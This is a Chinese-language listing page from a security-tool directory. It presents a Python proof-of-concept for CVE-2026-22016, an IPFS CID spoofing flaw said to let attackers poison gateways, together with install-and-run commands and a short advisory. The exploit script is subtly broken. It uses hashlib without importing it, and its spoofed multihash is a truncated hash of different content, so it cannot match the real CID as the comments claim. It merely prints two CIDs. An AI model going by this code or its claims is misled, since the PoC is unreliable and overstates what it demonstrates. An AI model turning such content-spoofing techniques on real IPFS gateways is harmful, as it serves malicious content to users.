Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-22016-IPFS-CID-Spoofing-via-Multihash-Length-Extension — Python 概念验证(PoC),演示通过 multihash 长度扩展进行 IPFS CID 欺骗,揭示可污染 IPFS 网关的内容寻址验证缺陷。 | Kitploit
工具/GitHubGitHub/george0papasotiriou/cve-2026-22016-ipfs-cid-spoofing-via-multihash-length-extension
漏洞分析漏洞利用哈希分析Web安全密码学对抗性攻击
GitHubgeorge0papasotiriou/cve-2026-22016-ipfs-cid-spoofing-via-multihash-length-extension

CVE-2026-22016-IPFS-CID-Spoofing-via-Multihash-Length-Extension

Python 概念验证(PoC),演示通过 multihash 长度扩展进行 IPFS CID 欺骗,揭示可污染 IPFS 网关的内容寻址验证缺陷。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
15天前尚未审核

CVE-2026-22016 – 通过 Multihash 长度扩展实现 IPFS CID 伪造

程序代码(Python)

root@kitploit:~
# ipfs_cid_spoof.py - Generates a CID with a different multihash length
import multihash, cid
# Attacker creates a file whose hash, when truncated, matches a different file's prefix
original_content = b"hello"
fake_content = b"hello world"
real_cid = cid.make_cid(1, 'dag-pb', multihash.encode(hashlib.sha256(original_content).digest(), 'sha2-256'))
# Spoofed CID: we can craft a multihash with a shorter length that matches the start of the real one
spoofed_multihash = multihash.encode(hashlib.sha256(fake_content).digest()[:16], 'sha2-256', length=16)
spoofed_cid = cid.make_cid(1, 'dag-pb', spoofed_multihash)
print(f"Real CID: {real_cid}")
print(f"Spoofed CID: {spoofed_cid}")
# If IPFS node only checks prefix, it may serve the wrong content.

CVE-2026-22016 – 通过 Multihash 长度扩展实现 IPFS CID 伪造

Severity: High

概述

某个 IPFS 实现信任 CID multihash 中的长度字段,而不验证哈希本身是否与完整内容匹配。攻击者可以创建一个文件,使其截断后的哈希与合法文件哈希的前缀相同,并在同一 CID 下提供恶意文件。

漏洞详情

  • 类型: 内容欺骗
  • 影响: 提供恶意内容,污染 IPFS 网关。
  • 根本原因: CID 验证未检查摘要长度是否与哈希函数的预期输出匹配。

漏洞利用演示

运行脚本:

root@kitploit:~
pip install py-multihash py-cid
python ipfs_cid_spoof.py

该脚本表明可以生成伪造的 CID。

下载工具